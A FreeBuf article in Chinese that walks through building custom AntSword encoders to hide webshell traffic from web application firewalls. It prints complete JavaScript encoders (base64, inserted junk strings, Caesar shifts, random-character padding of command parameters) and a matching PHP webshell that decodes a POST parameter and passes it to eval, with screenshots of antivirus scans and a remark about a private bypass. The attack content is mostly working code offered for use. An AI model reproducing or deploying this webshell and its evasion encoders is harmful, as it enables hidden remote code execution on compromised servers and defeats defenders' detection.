freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

魔改蚁剑之零基础编写解码器
2024-01-16 19:05:52

为什么要自定义编码器

1705402730_65a6616ac5d7328456387.png!small?1705402730891

编码器选default,执行命令whoami抓包看流量(下图为url解码后的结果)

1705402738_65a66172e8144cd6d2d92.png!small?1705402739416

url解码一下

1705402749_65a6617d6d9eb32c1cf1f.png!small?1705402749708

可以清晰的看到whoami(base64编码后的结果为d2hvYW1p)出现在流量里,所以是百分百被waf拦的

先来分析一下下面这个字符串

cbe5f611c94175=IpY2QgL2QgIkU6XFx0b29sXFx3ZWJcXGppYW56aGFuXFxwaHBzdHVkeV9wcm9cXFdXVyImd2hvYW1pJmVjaG8gM2Y3MWZlYmY0MCZjZCZlY2hvIGUxMzU3NDQ5YTE5Zg==

首先cbe5f611c94175是随机生成的字符串,然后在下面这段代码里提到了对上述字符串的解码过程

$s=base64_decode(substr($_POST["cbe5f611c94175"],2));

就是从 POST 请求中获取名为"cbe5f611c94175"的参数,去除前两个字符后,对剩余部分进行 Base64 解码,解码结果为

cd /d "E:\\tool\\web\\jianzhan\\phpstudy_pro\\WWW"&whoami&echo 3f71febf40&cd&echo e1357449a19f

看一下返回结果(黑色打码部分为麋鹿的电脑名)

1705402760_65a661889cf466b28f07f.png!small?1705402760666

很明显,命令完全暴露在流量里

如果是换其他编码器,流量特征里也很明显,例如会体现@str_rot13或chr()这些很敏感的函数,再或者是eval函数。所以这时需要我们自定义一个编码器


编码器基础

先来看一下编码器的格式

/**
* php::base64编码器
* Create at: 2023/12/29 16:51:54
*/

'use strict';

/*
* @param {String} pwd   连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ##########   请在下方编写你自己的代码   ###################
// 以下代码为 PHP Base64 样例

// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');

// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;

// ##########   请在上方编写你自己的代码   ###################

// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}

其实官方写的很清楚了,但麋鹿还是怕有读者看不懂,那我再解释一下该代码的功能


1.接收三个参数:pwd(连接密码),data(待处理的payload数组),和ext

2.使用Math.random()生成一个随机数,并将其转换为16进制字符串,形成一个随机变量名randomID

3.将payloadbase64编码放在randomID里

4.生成对应解码的php代码,里面用eval执行解码后的payload

所以上面的数据包里会有milu(pwd密码对应的值)=eval字样,那么如何把eval特征去掉

其实很简单,我们只需要把流量包base64编码一下或者加密一下进行了

如何选择编码或加密函数

先说一下官方编码器里的几个模式--ROT13,chr,chr16,base64。

1.rot13

原理是将原文替换为字母表中的该字母向前或向后移动13个位置的字母,其实就是凯撒加密,只不过因为字母表一共26个字母,所以对一个字符串两次rot13就是原文。

2.chr和chr16呢就更简单了,chr就是对应的ASCII值,chr16就是把ASCII变成了16进制。

比如milu对应的就是zvyh,[109, 105, 108, 117],['0x6d', '0x69', '0x6c', '0x75']。

所以准确来说,官方的编码器过于简单,对于公元前1世纪(凯撒活着那会)可能可以乱杀,但是对于2024年的waf多少有点简陋了。

而且流量包里带有eval这些危险函数,下图是rot13模式

1705402778_65a6619a3daf89f83838f.png!small?1705402778447

那么麋鹿现在开始介绍现代通讯中常用的加密算法。

对称加密

加密和解密使用相同的密钥,只要有密钥就能解密,速度快。常见算法有AES,DES,3DES。

非对称加密

分公钥私钥,公钥加密,私钥解密,公钥可以公开,私钥保密,速度慢。常见算法有RSA ECC DSA。

对于编码器,对称和非对称都一样,因为我们都要给对方机器发密钥,非对称反而麻烦,这里直接用AES就行,其中可以选AES128或AES256,二者差别在于密钥长度分别是16(128位)和32(256)以及前者加密10轮 后者14轮。

js里的CryptoJS库就提供AES加密算法,只需要提供明文和密钥就行,举个例子。

var CryptoJS = require("crypto-js");

var message = "milu";var key = "milu1234";

var encrypted = CryptoJS.AES.encrypt(message, key).toString();

console.log(encrypted); // 输出加密后的字符串

https://github.com/AntSwordProject/AwesomeEncoder/tree/master/php里面有现成的编码器,下面我们参考改造一下。


打造自己的AES编码器

先写一个简单的,凯撒+base64+垃圾字符去掉eval特征

思路为先base64,再在每8个字符后插入 "yuandankuaile"(元旦快乐),最后使用凯撒加密法对整个字符串将每个字符后移三位

  • module.exports = (pwd, data, ext = {}) => {
    // 将原始 payload 转换为 base64 编码
    data[pwd] = Buffer.from(data['_']).toString('base64');

    // 在每8个字符后插入 "元旦快乐"
    let modifiedString = "";
    for (let i = 0; i < data[pwd].length; i++) {
    modifiedString += data[pwd][i];
    if ((i + 1) % 8 === 0) {
    modifiedString += "yuandankuaile";
    }
    }

    // 凯撒加密:每个字符后移三位
    let caesarEncoded = modifiedString.split('').map(c =>
    c.match(/[a-zA-Z]/) ?
    String.fromCharCode((c.charCodeAt(0) - (c.charCodeAt(0) >= 97 ? 97 : 65) + 3) % 26 + (c.charCodeAt(0) >= 97 ? 97 : 65)) :
    c
    ).join('');

    // 最后对整个字符串进行 base64 编码
    data[pwd] = Buffer.from(caesarEncoded).toString('base64');

    // 删除原有的 payload
    delete data['_'];

    // 返回处理后的数据
    return data;
    };

    对应的php代码


    <?php

    function decryptPayload($encodedData) {
    // Base64 解码
    $caesarEncoded = base64_decode($encodedData);

    // 凯撒解密:每个字符前移三位
    $caesarDecoded = '';
    foreach (str_split($caesarEncoded) as $char) {
    if (ctype_alpha($char)) {
    $offset = ctype_lower($char) ? 97 : 65;
    $caesarDecoded .= chr((ord($char) - $offset - 3 + 26) % 26 + $offset);
    } else {
    $caesarDecoded .= $char;
    }
    }

    // 移除 "元旦快乐"
    $base64Encoded = str_replace("yuandankuaile", "", $caesarDecoded);

    // Base64 解码以还原原始数据
    $originalData = base64_decode($base64Encoded);

    return $originalData;
    }

    // 从 POST 请求中获取加密数据
    $encryptedData = isset($_POST['milu']) ? $_POST['milu'] : '';
    if (!empty($encryptedData)) {
    $decryptedData = decryptPayload($encryptedData);
    eval($decryptedData);
    } else {
    echo "没有接收到数据";
    }

    ?>

    保存编码器为easy,蚁剑里选编码器为easy,解码器为default(因为php里已经进行解密了),成功连接

    1705402797_65a661ad3795909fcdd0a.png!small?1705402797218

    1705402802_65a661b25d25aa97fe2d2.png!small?1705402802524

    再看一下执行命令的数据包

    1705402816_65a661c0addab60f0ef73.png!small?1705402817075

    流量里没有了eval这些

    看一看查杀情况

    1705402824_65a661c85454228ea87ac.png!small?1705402824818

    1705402833_65a661d159eac1eb61385.png!small?1705402833691

    1705402841_65a661d9be98683abc5e8.png!small?1705402842052

    1705402856_65a661e84f9024da0d2a2.png!small?1705402856458

    还是被杀,那改一下执行的方法,先看一下是否可以执行命令

    1705402875_65a661fb31fe97b669a1a.png!small?1705402875203

    ok,看看查杀情况

    1705402884_65a6620406a74ce8df87e.png!small?1705402884465

    1705402895_65a6620f23f63457c27be.png!small?1705402895289

    1705402902_65a66216e313fa6092ef3.png!small?1705402902908

    随便绕过,但是这是麋鹿自用的手法,所以就不公开了

    那我们是否可以在编码器的加密上再做点文章?

    流量里虽然没有了eval,但还是会体现whoami这些指令

    1705402912_65a662202704af1f193f4.png!small?1705402912532

    这也简单,只需要对data[]里的其他参数做一些变化就行了

    去掉命令特征

    对除_之外的键值对进行 Base64 编码,并在每三个字符后插入两个随机字符

    'use strict';

    module.exports = (pwd, data, ext = {}) => {
    let ret = {};

    // 生成随机的两位字符的函数
    function generateRandomChars(length) {
    let result = '';
    let characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    let charactersLength = characters.length;
    for (let i = 0; i < length; i++) {
    result += characters.charAt(Math.floor(Math.random() * charactersLength));
    }
    return result;
    }

    // 遍历 data 对象,除了 '_' 键之外的每个键进行 Base64 编码
    for (let key in data) {
    if (key === '_') { continue; }

    // 对 data[key] 的值进行 Base64 编码
    let base64Encoded = Buffer.from(data[key]).toString('base64');

    // 在每三个字符后插入随机的两位字符
    let modifiedStringForKey = "";
    for (let i = 0, len = base64Encoded.length; i < len; i += 3) {
    modifiedStringForKey += base64Encoded.substring(i, i + 3);
    if (i + 3 < len) { // 避免在字符串末尾添加
    modifiedStringForKey += generateRandomChars(2);
    }
    }

    // 保存修改后的字符串
    ret[key] = modifiedStringForKey;
    }

    // 对 data['_'] 的值进行特殊处理
    if (data['_']) {
    // 首先将 data['_'] 转换为 Base64 编码
    let base64Encoded = Buffer.from(data['_']).toString('base64');

    // 在每8个字符后插入 "yuandankuaile"
    let modifiedString = "";
    for (let i = 0; i < base64Encoded.length; i++) {
    modifiedString += base64Encoded[i];
    if ((i + 1) % 8 === 0) {
    modifiedString += "yuandankuaile";
    }
    }

    // 对修改后的字符串进行凯撒加密,每个字符后移三位
    let caesarEncoded = modifiedString.split('').map(c =>
    c.match(/[a-zA-Z]/) ?
    String.fromCharCode((c.charCodeAt(0) - (c.charCodeAt(0) >= 97 ? 97 : 65) + 3) % 26 + (c.charCodeAt(0) >= 97 ? 97 : 65)) :
    c
    ).join('');

    // 再次对整个字符串进行 Base64 编码
    data[pwd] = Buffer.from(caesarEncoded).toString('base64');
    }

    // 删除原有的 payload
    delete data['_'];

    // 将 ret 对象中的内容合并到 data 中
    Object.assign(data, ret);

    // 返回处理后的数据
    return data;
    };

    看一下流量包

    1705402921_65a66229b63ed50c28971.png!small?1705402921910

    把j3da9e0259be83的值摘出来

    ZFJZMlFnTDJRZ0lrVTZMM1J2YjJ3dmQyVmlMMnBwWVc1NmFHRnVMM0JvY0hOMGRXUjVYM0J5Ynk5WFYxY2lKbmRvYjJGdGFTWmxZMmh2SURnM05UbGtPR1ltWTJRbVpXTm9ieUJsWVRBMk5qUmo=

    先去掉每三个字符后的两个随机字符,然后再base64解码,得到下面这个字符串

    dRY2QgL2QgIkU6L3Rvb2wvd2ViL2ppYW56aGFuL3BocHN0dWR5X3Byby9XV1ciJndob2FtaSZlY2hvIDg3NTlkOGYmY2QmZWNobyBlYTA2NjRj

    是不是很眼熟?这不就是default里的流量吗?去掉前俩个字符然后base64解密

    1705402929_65a662318c182ef9b8156.png!small?1705402929628

选择其他加密算法

先说aes

github上有现成的

https://github.com/AntSwordProject/AwesomeEncoder/blob/master/php/encoder/aes_256_cfb_zero_padding.js

不过可能存在cookie的问题,其实这个问题也好解决,自定义一个字符串进行hash一下,得到一个SHA-256 哈希值(或128,对应不同模式)

const keySource ='milu';
const hash = crypto.createHash('sha256');
hash.update(keySource);
const key = hash.digest('hex'); // 使用 'hex' 以获取十六进制字符串形式的哈希值

再说RSA

也有现成的


1705402948_65a662448f15448efee10.png!small?1705402948510


1705402959_65a6624f6a4303fa9fd4c.png!small?1705402959368

不过要求php开了openssl模块



# 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录